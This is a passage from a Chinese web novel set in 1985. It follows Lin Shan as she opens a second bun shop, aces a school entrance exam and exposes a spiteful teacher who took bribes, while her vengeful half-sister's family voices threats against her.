赵桂花本来以为林兰是来找事儿的，结果她上来就整了这么一出，砰砰砰地跪地磕头，又是钱又是水果的，哭得还惨兮兮的，看着还挺像那么回事儿，一时还真给她弄得有点儿懵。 赵桂花不由得看向林珊，见自己闺女一脸平静，她顿时就回过性子不懵了，扭脸继续骂道：“赶紧起来！赶紧起来！你唱戏呢？戏台子不在这儿，想唱回你家唱去！赶紧起来走人！” “婶子……我是真心诚意来道歉的……呜呜呜呜呜……”林兰哭得像是要厥过去了，给一旁的贺启明心疼坏了，使劲儿把她从地上扶了起来，压着对赵桂花的怒火，轻声道：“站着说。” 林兰“虚弱”地靠在他怀里，面向林珊和赵桂花，哽咽道：“我知道我爸可恶，我知道我做什么都弥补不了他对你们造成的伤害。我也知道这些钱对你们来说特别少，根本看不进眼里，但是我的的确确是诚心过来道歉的。对不起……真的很对不起……” “诶！你这小——”赵桂花烦躁地准备上手撵人。 一旁的林珊却突然开口了，“好，你把钱放下吧。” “啥？” 全场都很惊讶，包括给钱的林兰本人。 林珊轻声细语地说：“你不是来道歉的吗？现在我接受了，钱和水果都可以留下。” 林兰被林珊这一出打得措手不及，表情有些呆滞，她压根儿没想过林珊会是这种反应。 以这臭棒槌的脾气，只要自己登门，她要么对自己臭骂一顿，要么就是冷嘲热讽一番，到时候无论怎么样，都会让贺启明觉得自己是朵被欺负的小白花，林珊一家则全是不通情理的恶霸。 结果，她居然接受了！ 林兰反应过来之后，把钱和水果都递了过去。 林珊一一接受，还冲她和贺启明露出一抹“一切都看淡了”的微笑，“林富贵不念亲情，一次又一次地对我下死手，我却不能不顾爷爷奶奶的在天之灵，他已经受到应有的惩罚了，再恨下去没有意义。道歉我接受了，你回去吧。” “……”林兰完全傻眼。 贺启明心里大赞：真是个深明大义的好姑娘啊！心美，人更美！ 第43章 第43章 新店开业 离开“爱国大肉铺”一大会儿之后, 林兰人还是有些懵。 她想不通林珊这么做的原因是什么。接受道歉肯定是假的，两人都知道对方在演戏，但问题是她搞不明白那臭棒槌想干什么。 直到…… “比我想象得好多了, 我本来以为对方会劈头盖脸骂一顿，再把咱们撵出去, 结果没想到人家一个姑娘家家的，又是受害人, 居然能这么大度，这么通情达理, 真是难得啊。”贺启明忍不住发出感慨。回想着刚才林珊的模样和表情, 以及她说话时候的声音，再次惊叹这小地方怎么能出这么美的人呢。 别说安河了, 就是首都他长这么大也没见过啊。 林兰听着贺启明的话, 看着他那副不知道在想什么美事的表情, 心里咯噔一下，好啊, 原来那死棒槌是这个目的。 之前抢了杨清明还不够, 现在居然还敢打贺启明的主意！真是反了天了, 老虎不发威当她是病猫啊？ 行，咱走着瞧。亲爹的账，二哥的帐，做买卖的账，通通加一块儿加倍奉还。这辈子她要是整不死林珊, 就算白活一世！ 贺启明哪知道林兰心里在想什么, 他以为办妥了事，正安心地往前走着。 “启明，送我到胡同口就行了。”林兰温柔地望着他, 充满了爱意。 “怎么了？”贺启明低头看她。 林兰红着眼眶，十分善解人意地说：“我爸做了那种事，我家里人一时都不能接受，现在每天都哭乱作一团，这个时候不太适合见面。而且，邻居们现在也经常骂人，我们受着是应该的，可我不希望你无辜被牵连，还是以后再找时机来吧。” 贺启明想了想，“行吧。” 他确实也不愿意无辜被骂，而且细想一下，到底用什么态度面对林兰的家人，也是个问题。毕竟他是站在正义一方的，但林兰又是他女朋友，对于她的家人，他也不好苛责。可要他笑脸迎人殷勤对待，那也是办不到的。所以最好还是不见面为妙。 林兰真是贴心啊，想到这儿他不禁温柔了起来，“我都听你的，这两天你好好休息一下。别想太多了，实在难受就哭出来，发泄一下苦闷也是好的。” 林兰点点头，“好，那我明天上午去招待所找你？” “好。”贺启明宠溺地说完，目送着林兰离开。 林兰挥挥手，不舍地三步两回头，直到彻底拐进家门，她脸上的表情瞬间黑了下来。 刘淑芬的哭声和林爱军的怒骂声，不断传进耳朵，烦得她靠在门口不想进去。足足冷静了两分钟之后，林兰才掀开帘子进屋。 “兰兰啊……呜呜呜呜呜……”刘淑芬总算见着闺女了，一把抱住她开始痛哭。 林爱军也红着眼眶跑过来，想看看妹子有没有什么办法。 林兰疲惫地坐到椅子上，冷静地看着他们摇头，“没办法，我一回来就求公安了，人家说天王老子来了都没用。” 刘淑芬彻底瘫在了地上，林爱军也比她好不到哪儿去，两人一个哇哇大哭，一个厉声痛骂。 “林珊这个不要脸的贱货！我迟早要剥她的皮吃她的肉！把她剁成肉沫喂野猪去！赵桂花这个老贱货也跑不了！卖窑子里让人干死她！他妈的！咱家过不好，谁都别想好过！我这就一把火烧她全家！” 林爱军冲动地往外闯，刘淑芬急忙狠狠抱住他的腿，“儿啊，妈现在就剩下你和兰兰了，你这是又要干啥啊！你也想要我的命吗？！呜呜呜呜……” 林爱军喘着粗气，“不行！妈的！我必须弄死她们！” 母子俩一个闯，一个拦，拉扯了好大一会儿之后，林兰把林爱军和刘淑芬都拽到了椅子上，耐着性子劝说。 “哥，你现在冲动只会把自己搭进去。仇咱是一定要报的，但不是你这种方式。” 林爱军狠狠抹了把泪，“那你说咋办！咱爸都要被她搞死了！” 林兰叹气：“君子报仇十年不晚，爸的事儿已经这样了，你跟妈再哭再骂都没用了。你现在前脚去搞人家，后脚公安就把你一块儿拉去毙了。你希望咱老林家断后吗？大哥为了避嫌，已经跑回嫂子家住了，咱家族谱从今往后就没他了。你是爸唯一的希望，你现在根本承担不起任何冲动的后果。咱得好好活着，全都活出个样儿来，等咱实力强大之后，让林珊一家死绝还是难事吗？” 林爱军稍微冷静下来一些，道理他懂，但是——“怎么好好活着？咱以后恐怕连温饱都顾不上了，还怎么好好活着！怎么变强？！你说啊？！” 林兰气得想抽他一耳瓜子，平时好吃懒做啥都不会，出了事就知道大吼道叫，“你冷静点儿！吼我有用吗？你一个大男人也是时候该立起来了！现在遍地都是机会，你跑出去做生意啊！我就不信干不成！只要下定决心去做，天底下还有办不成的事儿？！” 林爱军被林兰骂回了一些理智，想起自己干啥啥不成的前半生，意识到以后娶莉莉是彻底没戏之后，瞬间委屈地大哭起来。呜呜哞哞，像头大蠢牛。 刘淑芬见林爱军哭这么惨，也心疼地抱着儿子开哭。 林兰头疼，无力地靠回椅子，瞬间想夺门而出，真是一家子废物！幸亏刚才她机智，没让贺启明跟着来，不然这母子俩肯定会坏她的事儿。 这边焦头烂额，“爱国大肉包”铺子里，赵桂花很是不解。 “闺女，你刚才为啥收林兰的东西，还说什么接受道歉的话啊？” 林珊不为啥，纯粹是不想林兰得逞。 说两句大度的话又要不了命。林兰婊里婊气，又是下跪又是磕头的，不就是为了演给新对象看嘛。 林富贵干的事儿众所周知，林兰再不切割的话，纯属脑袋秀逗了。不过光切割还不够，她还要到她家店里，再上演一出小可怜的戏码，这样既能加深自己跟亲爹的不同，又能反衬出林珊一家的可恶和粗鲁。 刚才林兰那副凄惨得快要死掉的模样，和赵桂花怒骂赶人的架势放在一块儿，随便一个不知缘由的群众看见， 都会觉得林兰是被欺负的那个。更何况是她新勾搭的对象了。那小青年可能本来心里的天平是公正的，被这么一搞，瞬间会觉得自己女友被恶霸欺负了。 林珊不想干嘛，就是不想随了林兰的意。更何况，钱和苹果本身是无罪的，不拿白不拿。 解释完心里的想法之后，林珊洗了几个苹果给大家吃，“又大又红，一看就不便宜，来来来，都尝尝味道。” 众人一边开始吃苹果，一边又骂起了林富贵一家。从来就没见过这么不要脸的人，从上到下就没有一个善茬。 赵桂花吃着香甜脆爽的大苹果，好奇道：“诶，这小妮子前一阵儿不是还跟杨清明那陈世美好着呢？现在怎么换人了？会不会因为在派出所闹了一回之后，杨家不同意了？” “可能吧。”林珊不知道也不关心，虽然她心里更倾向于林兰是攀上高枝，所以把杨清明给甩了，不过这跟她没有半毛钱关系，爱咋咋的。 赵桂花以为自己猜明白了，顺便又把杨清明拉出来骂了一顿。 出完苹果，众人开始忙活晚上那顿。 林珊观察了王芳一会儿，发现她基本已经上手了，除了招待客人的时候稍显生涩，其他都挺好的。新店有赵福和王芳肯定不够，不过林珊会先过去那边帮忙，所以招人的事儿倒也不急这一时。 第二天她跑去工商局，为新店办了所有证件，也把熟肉的商标提交了申请。办完这些文件上的事儿，林珊又跑去了新店。 装修已经基本结束了，她得验收一下。 赵福这些天跟徐大爷他们都混熟了，林珊到的时候，几个大老爷们正在外头乐呵呵地给桌子刷漆。这些可不是装修队的活儿，她赶紧跑旁边的店里给大家一人买了瓶汽水解渴。 大下午的，没有什么比这个爽口了。大家伙开开心心地喝着，林珊也挨着检查了一下全屋。 徐大爷的活儿依然是没得说，台面和灶台，砌得那是工整又漂亮，结实还耐用，任谁都挑不出毛病来。 林珊满意地竖起大拇指，好好感谢了大家一番之后，把工钱结清了。 锅碗瓢盆这些早买好了，只等砌的架子坚固之后搬过来了，林珊估计明天就能搞定所有的工作。晚上回去她得翻翻黄历，看哪天适合开业。 周四，诸事皆宜。 林珊请了王大娘和郭有财，王军自发带着市局的一帮弟兄们过来捧场。 鞭炮一放，“爱国大肉包”城南分店正式开业。 开业当天肉包子买一送一，一时间路过的，看热闹的，肚子饿的，不饿的，全都挤过来买包子。买着买着被熟肉吸引，又立刻掏钱买上一斤熟肉尝尝。 这不吃不要紧，一吃各个瞬间两眼放光，竖起大拇指来。 有之前吃过她家肉包的客人，更是笑着对众人说：“爱国家的肉包在城西可是出了名的，经常是排队都买不到，没想到现在开汽车站了！这下可好了，以后不怕买不着了！” “是吗？这么出名啊？那我再买个腐乳肉的尝尝。” “我也要一个。” “我要四个！” 林珊这边红红火火，市体育场上一帮要被集体执行的犯罪分子，也被绑着开完了“严打”大会。在乌央乌央的群众围观下，东风汽车压着犯人奔赴刑场。 上午十一点钟，死刑执行完毕。 林富贵结束了自己造孽的一生。到死，他都在高声骂娘。 第44章 第44章 准备复读 新铺子的生意如火如荼, 林珊每天忙到很晚才能回家。 赵福两口子会先把她送回去，然后再一块儿回村。幸亏城南那边的汽车站，离城西挺近的, 不然这黑灯瞎火的骑在路上还是有些渗人的。 由于生意太好，人流量过大, 林珊又抓紧时间招了两个人。 一个是赵福推荐的同村小弟大成，一个是家住附近的小姑娘娟子。老实本分的两个孩子, 都是刚满十八岁。林珊带了他们一个礼拜，基本就全上手了。 新铺子的每日营收比老店大了快一倍, 并且还有持续上涨的趋势, 林珊不断调整着每天的配货量之外，还准备再慢慢招上一些人。 储备人才很重要。老员工干得好的要升职, 位置自然需要新人顶替。目前她自己可以不被绑在店里忙其他事了, 下一步就是让林红和赵桂花从老铺子里抽身。 林红以后负责各个店的品控, 赵桂花负责各个店的财务。虽然目前只有两个店，但是很快会她会在城东和城北各开设一家铺子。这样东南西北都有根本据地, 方便彻底打开市场, 树立品牌声望。 她在安河市只准备开设四家直营店, 通过这四个店铺的经验，建立起一套成熟的运作机制。熟肉是熟肉的，包子是包子的，方便之后开启全国的加盟业务。 林珊把自己的想法跟林红和赵桂花一说，两人立刻两眼放光。 “妈都听你, 你说干啥咱就干啥。”赵桂花笑得合不拢嘴, 现在她天天数钱数得不知道多开心，储蓄所的办事员都跟她认识了。 林红也高兴，笑眯眯地说：“我也听你的, 一定把包子和肉都把好关！” 林珊接着把城东和城北的具体开店计划，也一一告诉了她们。 赵桂花有些担心：“那咱把熟肉和包子分开，会不会人少了啊？” 林珊笑着说：“不会，我打算租两个挨着的店面，实在没有，就找一个大店面，给中间打上隔断。卖熟肉的铺子可以小一点儿，除了原本的那些肉类，还要再多增加几种素卤。卖包子的铺子里加上小馄饨，肉丝和猪杂面照旧还是放在包子铺里。” 赵桂花一听两个铺子挨着，顿时放心不少。就怕隔老远没人知道是她家开的，那岂不白瞎了。 林红好奇道：“素卤？素菜卤啥好啊？” 林珊掰着手指数：“土豆、莲藕、海带、面筋、豆皮、腐竹……想卤啥就卤啥，毛豆和花生比较常见，也可以算上。改天咱试试卤子方，每样都少卤出来一些尝尝。弄个五香的，再弄个辣口的。” 林红听得猛点头，“好好，我都不知道还能卤这么些东西呢。” 赵桂花也说：“是啊，咱老百姓平时谁顶多煮个花生米、毛豆啥的，谁会往那上头想啊。珊，你这脑子咋这么灵呢！” 林红：“就是，咋这么灵呢？” 林珊被俩人崇拜的眼神看得心虚，后世卤味店到处都是这些东西，她纯粹照搬市场对菜品的选择而已，不好意思地笑了两下，她赶紧溜去洗澡了。 林富贵被执行的事儿，王军当天就说了。林珊和林红都没什么反应，赵桂花一反常态得没有骂人，只是平淡地点点头，继续擦桌子去了。 林珊虽然对林富贵的事没什么额外的感想，却知道重生大女主林兰，是绝对会把这笔账算到她头上的。 她本人倒是不怕报复，但是现在摊子越铺越大，本着对大家负责，防人之心不可无，她必须更谨慎一些才行。狗急了还会跳墙，更何况是那一家子。 那一家子确实在诅咒林珊。 林爱军和刘淑芬，哭完骂，骂完哭，整天瘫在屋里循环发疯。 林兰实在是受够了，给林富贵下葬之后的第二天，她就跟贺启明一起回学校了。 烂泥扶不上墙，二哥这个蠢货又废又窝囊，她妈更是魔怔了。 倒买倒卖的钱早罚光了，家里存款只有三、四百块了，没了林富贵之后，全家一个挣钱的都没了。林爱民就别提了，为了撇清关系，就差直接入赘了。 不过他还算有点儿良心，夜里偷偷摸摸给家里送了一百块回来。 刘淑芬和林爱军自然是一顿臭骂和狂揍，吓得林爱民放下钱就赶紧跑了。 林兰觉得这几百块够母子俩霍霍一阵子了，她一登上回学校的火车，就把家里的事儿放下了。她在思考自己怎么办。学校现在都知道她爸的事儿，林兰 闭着眼都知道是杨清明干的。 她恨不得立刻抽死那个不要脸的畜生，但是目前的当务之急不是对付他，而是先搞定舆论。 贺启明是站在她这边的，所以只要回去之后照旧演一遍大义灭亲的戏码，应该就能笼络一部分人。毕竟这个年代，尤其是大学生，很多人的父母或者爷爷奶奶，都是曾经被贴上过标签的人。 晓之以理动之以情，说不定还能收获一些额外的人际关系。 贺启明见她虚弱地靠在椅背上，不知道在想什么，低声问道：“你要不要靠着我睡一会儿？” 林兰扯出一抹笑，露出一种恰如其分的脆弱和难过，“没事，马上就到了。” 贺启明从桌下握住她的手，心疼得不行。这会儿在火车上，到处都是人，想安慰她也不方便，只能回去再说了。 林兰想好了怎么面对舆论，接下来就要想怎么生活了。以前有林富贵给她钱花，再加上读大学还发补贴，日子过得非常滋润。这以后恐怕要捉襟见肘了。 她紧紧地回握着贺启明，幸好她手里还攥着一个金疙瘩。不然还真不知道该怎么办了。 林珊那死棒槌想得倒挺美，居然敢打贺启明的主意，也不看看自己是不是那块料。以为长得妖精男人就会不顾一切跟你好吗？她跟贺启明可是堂堂首都的大学生！林珊一个一辈子只能窝在安河的小蚂蚱，还想瞎蹦跶两下，真是不自量力！ 等着吧，等她大学毕业，跟贺启明结了婚，分配到好部门，羽翼越来越丰满的时候，就是林珊一家人死绝的时候！ 林珊招贤纳士的工作进展得很顺利，在面试了一轮又一轮的人之后，最终定下来六位。三个人在老铺子培训，三个人在新铺子培训。 城东和城北的店铺选址，她也在慢慢进行中。 不过这都不是当务之急，现在最要紧的是赶紧去对面的城西高中搞定复读的事。 本着尊重的原则，林珊用心复习了两天书之后，才去城西高中找黄月萍。 黄月萍没想到林珊之前打听复读是为她自己，惊讶得不能行。 “你……”她欲言又止，“你这生意不是做得挺好的，咋想起考学了。其实这行行出状元的，不一定只有高考这一路。” 林珊读懂了她的潜台词和表情，没办法，谁让“自己”曾经学习很次呢，只能搬出一套说辞：“我以前不懂事，心思都不在学习上，不知道考学的重要性。明白过来之后，狠狠在家复习过一阵，我觉得……自己的成绩好像还是可以的。” 黄月萍不太信，不过稍微想了一下之后，她还是说道：“那就先考考试试吧。” “好的，谢谢黄老师！” 林珊平时有空就会去翻之前的课本，里面绝大多数内容她都记得。数理化不在话下，文史类的，有得记忆犹新，有得稍微模糊一些。不管怎么样，应付一个入学考试还是绰绰有余的。 现在是1985年的十一月中旬，她准备参加的是86年的高考。她之前打听过，说汉北省86年的高考方案是3+2模式，语文数学英语，加物理化学或政治历史。语文数学各120分，其余的每科100分。 林珊上辈子是理科生，这辈子自然还是选理工科。 黄月萍正好今天上午没课，所以没多耽搁就拿了考卷过来，让林珊坐她办公桌前写，她自己坐旁边备课。 原本黄月萍是本着照顾林珊的心情，才让她参加考试的，对她能不能考进来是完全不抱希望的。 结果卷子一发，发现这小丫头提笔就开始唰唰写，她忍不住好奇地凑过去看看是不是在胡写。 这不看不知道，一看她整个人瞬间呆住，这是数学卷！林珊写起来那叫一个快，黄月萍自己就是教数学的，一眼就判断出，这小丫头写过的地方都是全对！ 她班上数学最好的孩子，做题都没这么顺当！ 林珊用了三十分钟，就做完了一张数学试卷。跟着迅速翻出物理试卷，开始做题。 黄月萍拿起数学试卷开始检查，越看心脏跳得就越快，好好好！太好了！如果不出意外，他们城西高中又要再出一个好苗子了！ 黄月萍激动地改着试卷，划到最后一题的时候，狠狠打下一个打对钩，然后无比愉快地写上满分！ “诶呦，这谁啊？”邢艳红跟一个老师一块儿走进办公室，还以为自己看错了，结果定睛一看还真是林珊！这小狐狸精来干嘛？ 林珊淡淡瞥了她一眼，继续低头做题。 黄月萍还沉浸在激动中，高兴地说：“这孩子来参加入学考试！” “噗……”邢艳红忍不住笑了，哼道：“就她？数儿都算不明白的一个蠢丫头，还想来复读考大学啊？哈哈哈哈！” 邢艳红笑完，不屑地指着门口，像是驱赶什么脏东西似的，“赶紧走赶紧走，就你那样儿还敢做梦考大学？别招笑了，赶紧起开走！老师们都这么忙，没那闲工夫空陪你瞎闹，赶紧回去卖你的包子去！” 第45章 第45章 城西高中 “诶, 艳红，你这么说话可不太合适啊。”黄月萍脸上的笑顿时消失，放下卷子严肃地对邢艳红说话。 邢艳红笑了, “有什么不合适的？她是我以前的学生，我还能不了解她？再说了, 好好的包子卖着多好啊，跑来浪费大家的时间干什么？办公室又不是什么随便的地方, 是个人都能随便进来吗？” 假笑完，她瞬间变脸呵斥林珊：“赶紧走！耳朵聋了？！” 黄月萍被邢艳红气得不轻, “啪”一下拍响桌面, 起身指着她说：“学生考试的时候你安静点儿！” 邢艳红到底还是有些忌惮黄月萍年级主任的身份，不服气地撇撇嘴, 装模作样地扯了抹假笑：“是, 主任发话了, 谁敢不听啊，反正浪费的又不是我的时间。” 她阴阳怪气地说完, 走回了自己的位置, 先是喝了口茶缸里的水, 砸吧了两下嘴之后，靠在椅背上来了句：“黄主任可得好好监考啊，不然让这丫头作弊进来可就不好了。我到现在都怀疑她毕业考试全是抄人家的，不然平时从来没及格过，怎么就那会儿突然混了个及格, 还顺利拿到了毕业证。我那时候没抓到她, 黄主任现在可得细心一点儿，把人看牢呀。” 黄月萍黑着脸，狠狠瞪了她一眼。 这个邢艳红她老早就看不惯了, 这妇女完全不懂当老师要教书育人，整天嫌弃这个惩罚那个。学习好的，家世好的，她是一副嘴脸。不好的，完全又是另外一副嘴脸。平时最爱惩罚那些家世不好，学习也不怎么好的孩子，哪怕人家孩子老老实实啥也没干，她都能找出点儿错来去罚人家。 黄月萍为这事儿批评过她很多次了，真是屡教不改。而且不知道为什么，她对林珊好像格外厌恶。唉，再这么下去，她非得上校长那儿举报她去。 黄月萍轻轻叹了口气，怕吵闹影响到正在考试的林珊。 结果扭头一瞅，发现这孩子物理卷子都要写翻面儿了。 物理也写这么快？！ 黄月萍更加好奇地凑过去看，发现物理也不是在胡写，她看见的这几道题，小丫头又全做对了。 好！很好！完全不受影响！黄月萍按捺住内心的激动，万分期待林珊接下来的表现。 被狠狠瞪了一眼的邢艳红，气不打一处来，看着对面桌上的林珊和黄月萍，她忍不住暗暗哼声：德行，装得还挺像。会写吗？完全是浪费笔油。 这黄月萍也真是不知所谓，居然陪着这小狐狸精瞎闹！ 课间铃一响，回办公室的老师越来越多。邢艳红一把捞住杨清明原来的班主任郭素芳，让她往黄月萍那儿看。 郭素芳大惊：“林、林珊？” “可不咋的！”邢 艳红嗤笑，“你说这天底下的新鲜事儿多不多？说是要来复读，黄主任居然还陪着她考试呢！” 郭素芳对林珊印象深刻，是因为她勾引自己的宝贝学生杨清明，觉得这小妮子癞蛤蟆想吃天鹅肉，天天不好好学习只想着谈对象，品行不端。 不过对于想来复读这件事，她倒是觉得无所谓，“考呗，合格就收，反正到时候都算咱的成绩。我听说她家现在挺有钱的，包子铺好像在城南又开了一个。这挣着钱了，想来学校学习也是件好事儿啊。诶，你吃过她家的包子没？” “……”邢艳红噎住了，她以为郭素芳会跟自己一样反应，没想这人居然还跟她扯上包子了！真是气死人！ 她当然知道小狐狸精家现在有钱了，包子铺就开在对面，整天乌央乌央的都是人，她又不是瞎子当然能看见了。不仅能看见，她还能闻到味儿！弄那么香，指不定里头放什么迷魂药了，谁敢吃啊！ 不仅小狐狸精卖饭的事儿，就连她家那些恩怨，附近还有不知道的人吗？闹那么大，林富贵都被枪毙了，谁还能不知道啊。 林兰也是她的学生，她之前可是好一阵担心，生怕这事儿对林兰上大学有什么影响。林富贵出殡的时候，她特地问过林兰，知道不会被退学之后，这才稍微放下心来。 这会儿看见这个罪魁祸首，再想起自己最得意的学生，她内心又升起一股恨意，她那么完美的好学生，就这样被这个死丫头给弄污了！简直就是个大祸害！ 当初纠缠杨清明，想害他考不上大学，现在毁了她的好学生林兰还不够，还敢凑到她眼皮子底下恶心她！简直是痴心妄想！ 林珊花了三个半小时，做完了所有的试卷。 交卷的那一刻，当她有精力想猛抽邢艳红一顿的时候，发现那不要脸的巫婆已经上课去了。 黄月萍在这期间，每等她写完一张卷子，就会把试卷交给相应的科目老师改卷。有人在忙别的事，她还一直催促人家赶紧。所以等最后历史写完的时候，林珊的其他卷子，基本也都陆续出了成绩。 这会儿上午十一点半，一股隐隐的躁动，在整个办公室漫延。 英语老师激动地一拍桌子：“满分！” 化学老师比她更激动：“满分！” 物理老师岁数虽大了，声音却格外洪亮：“满分！！” 语文老师稍显内敛，和蔼地笑道：“112分。” 政治老师纳闷：“79，为什么这么多基础常识题，你都能选错呢？” 历史老师默默不语，还在拼命批改着试卷。 黄月萍已经笑开了花儿，“哈哈哈哈哈，数学也是满分！这回咱不仅能出个大学生！我看京大和清大都非常有戏啊！！！！哈哈哈哈哈！” 她乐开了怀，理科老师们同样激动得不能行。 只有政治老师还在纳闷：“真是的，这题也能错，傻子都知道选C，你竟然给我选A！” 历史老师飞速批阅着试卷，发出了跟政治老师同样的困惑，“这你都能写错？！81年刚发生过的事儿，这你都不知道？！你以前上课都在干啥啊？哎呦，这个也可惜啊。你是看错了，还是病了？” 历史老师嘟嘟囔囔的边改边皱眉，最后改到大题部分，他眉头才算舒展开来，嗯，对，写得好，写得真好！噼里啪啦一算分，“83分。你这，我都不知道该怎么说你好了。你说这么简单的题你怎么能写错呢？很多都是老师讲了又讲，重复了一百遍的东西，你咋回事儿啊？！” 政治老师也符合：“就是！都是不该错的题！高一都知道的常识！你居然写错这么多！我真是气死了！” 上完课的邢艳红，一进门刚好听见这句话，她立刻嘲笑道：“怎么样？我说什么来着？她要是能及格，我就不姓邢，这老师我也不干了！黄主任你也是的，我就说她这种素质的，不值得你浪费时间，你还嫌我烦，看看现在怎么样？唉，不是我说，有些人她天生就是没有——” “艳红……”一个跟邢艳红关系比较好的老师，忍不住给她使眼色。 可惜邢艳红太过得意，完全没领会到对方的意图，继续嘲讽道：“这小丫头片子以前在我班上的时候，就不好好学习，天天想着搞对象，我都不稀得说她，反正烂泥是永远扶不上墙的。赶紧收拾东西走人吧，还杵在这儿干啥呢？” “邢老师，林珊通过了。”黄月萍出声打断她，笑着把林珊的卷子递过去，“不仅通过，而且还是满分！” 邢艳红讥笑一声，完全不信：“怎么可能，黄主任别开什么玩笑了。” 黄月萍见她不接卷子，一张一张举到她面前，“数学，满分。” “英语，满分。” “物理，满分。” “化学，满分。” “语文，112分。” “历史，83分。” “政治，79分。” “怎么样邢老师？这成绩够进咱学校了吗？”黄月萍笑开了花，邢艳红却跟要下地狱似的，脸色煞白。 “不可能不可能，这蠢丫头怎么可能考满分！绝对不可能！”她不停地摇头，一把拽过试卷拼命检查，然而她每翻动一张，脸色就白上一分，看到最后，人都有些缺氧了，口干舌燥地看看黄月萍，又看看林珊，拒绝接受这冲击性的一幕。 “邢老师，以前您上课的时候怎么教，我都觉得跟天书似的。听不懂，慢慢我就开始厌学了。后来回家之后，我自己无意间翻看课本，发现好像还挺有意思的，而且也没有我想象中的难。结果稍微一试，您看看，就这样了。”林珊天真无邪地说着，像是从没听见邢艳红的诋毁一样。 邢艳红差点儿暴走，她绝对不会相信自己教学生涯中最讨厌的学生，居然能考这么好！一定是活见鬼了！“不可能！绝对不可能！你一定是作弊了！” “胡搅蛮缠！”黄月萍厉声呵斥她，“我全程坐在她旁边，孩子连个厕所都有没去过，上哪儿作弊？” “就是，大家都看着来着。” “艳红你也别意外，真有人突然间就开窍了。” 邢艳红见大家都信了林珊的成绩，瞬间暴怒：“我的学生我不比你们了解？！反正她绝对不可能考这么好的！这里头绝对有蹊跷！” “老师……”林珊红了眼眶，楚楚可怜：“我知道您不喜欢我。也是，谁会喜欢一个学习不好，家里还穷得叮当响的学生呢？不过现在我能赚钱了，也通过自己的努力把各科成绩都提高了很多，应该不会给您丢人了。” 邢艳红眯眼盯着林珊，心里隐隐有种不好的预感。 林珊哽咽道：“以前过节的时候，我就总想着，要是我也有钱就好了。这样我就能学学别人，也给您家送上两袋大米，或许您就不会再罚我去教室后面站着了。” 第46章 第46章 考试惹风波 “你胡说八道什么？！哪有的事儿！再血口喷人把你抓公安局去！”邢艳红脸色大变, 慌张地呵斥林珊：“你个小丫头片子真是越来越狡猾了！现在居然都学会污蔑老师了！” 林珊赶紧捂住嘴，一副说错话了的模样，泪珠说下就下, “对不起老师，我真不是故意说漏嘴的！对不起！真的对不起！我就是想告诉您, 我现在有钱了，不会给您丢人了, 学习也比以前进步多了，求求您就不要再嫌弃我了。” “闭嘴！少在这儿胡少八道！在外头卖了几天包子, 人还学得又精又坏了！我邢艳红这个老师当得问心无愧！做人做得堂堂正正！我什么时候嫌弃过你了？你一天天的不学好, 就知道去勾引杨清明，这事儿可是全校都知道的, 郭老师当时也在场, 这也是我嫌弃你嫌出来的？” “老师……”林珊擦擦泪, 哽咽道：“那时候的确是您和郭老师误会我了。是杨清明主动追的我，后来在没跟我分手的情况下, 就又跟林兰搭上线了, 这些派出所的同志都能证明, 我们胡同里的人也都知道，再不济您可以上杨家去问问，他们家老爷子也知道那件事从头到尾都是杨清明不对。外面的人已经替我做过主了，老师您就不要再骂我是小狐狸精了，我真得没有勾引过任何人。” “你、你这丫头还真是会狡辩啊！”邢艳红嘴上义愤填膺, 心里却知道林珊说得很可能是真的, 毕竟有一阵关于杨清明是陈世美，主动勾搭两姐妹的事儿，在学校传得可不轻。 邢艳红都知道, 其他老师同样早有所耳闻，其中一个住在新兴胡同的男老师，忍不住替林珊说话：“这事儿确实是真的，杨清明和林家姐妹的事儿，街道和派出所已经调解过了。街道主任说最后还是林珊大度，没有去告发那俩孩子搞破鞋，这才没有影响到他们上大学的。邢老师你以后就不要再这么说话了，咱们都是老师，应该要注意文明用语。” “是啊，邢老师，人家公安同志都这么说了，那咱们肯定就不能再冤枉孩子了，你这一口一个“狐狸精”的叫着，哪像一个老师啊。” “谁说不是呢，邢老师不是我说你，就你这脾气也该改改了。” “可不嘛，咱学校好不容易来了这么个好苗子，你可别再给咱撵走了。今年咱学校总共可才带出一个大学生，而且还只考上了省城的大学。要是明年再这么跌下去，学校靠着杨清明跟林兰攒的那些名气，可就彻底没了。校长已经很不开心了，你还想让他脸色再黑点儿啊？” 邢艳红阴沉着脸，硬憋住不让自己骂林珊，这些人一个个的都中邪了！居然真相信这小丫头片子是自己考出来的！哼，真是一堆蠢货！ “她林珊就算再投一次胎，都不可能有这种成绩！你们一个个的居然不相信我，觉得我是在针对她？实在是太可笑了！” 众人觉得她不可理喻，一个个表情难看。 黄月萍突然走到邢艳红面前，严肃又冷漠地盯着她：“这孩子我收定了，这么好的苗子不替学校抓住，就是我黄月萍的失职。这事儿没有商量的余地，更轮不到你来指手画脚。我现在更想知道的，是那两袋大米到底怎么回事儿？” “什、什么怎么回事儿？！这小妮子瞎胡编的，你居然也信！”邢艳红强装镇定地瞪大眼珠子，极力否认：“别说大米了，就是一个米粒我都没见过！！！” 她说得理直气壮，郭素芬却心虚地低下头不敢看了。邢艳红收礼的事儿她都知道，两人还互相交换过东西。有的是粮票布票，有的是精米精面，大豆油什么的，反正不老少。 黄月萍笑了，“别激动，有没有学校自然会查清楚。冤枉不了一个好人，也绝不会放过一个蛀虫！” “查、查什么查？我都说了没有了？你听不懂话吗？还有！你说谁是蛀虫啊？！”邢艳红脸色青一阵白一阵，心里慌成一团。听这意思这姓黄的是要告她啊！ “别着急，等调查清楚了，自然会知道蛀虫是谁。到时候不但全校通报，我还要上报到教育局去。”黄月萍一直以为邢艳红只是势利眼，没想到她还真敢收受学生的东西。真是猖狂又无耻！这种人不把她驱逐出教师队伍，怎么对不起学校这帮孩子。 邢艳红看懂了黄月萍的表情，知道这娘们是要来真的了，怎么办？怎么办？都怪那小贱蹄子！要不是她没事跑来学校犯贱，现在所有人会把她放架子上烤吗！ 她恶狠狠地瞪向林珊，结果发现那小贱人居然在对自己笑！ 笑？ 邢艳红瞬间暴走，直勾勾地扑向林珊，“贱货！” 众人大惊，林珊一个灵巧的躲闪，邢艳红瞬间扑空倒地，摔了个大马趴。胳膊肘和波棱盖儿全磕破了，脑袋也撞到桌腿上，咣当一声闷响，听得所有人都替她疼得慌。 邢艳红气得发疯，顾不得疼就立马从地上爬起来，再次朝林珊进攻。她邢艳红这辈子哪受过这种气啊，从来都是她围攻别人，整别人，这会儿变成了自己，瞬间理智全无。小贱人笑成那个德行，分明就是在故意整她！ 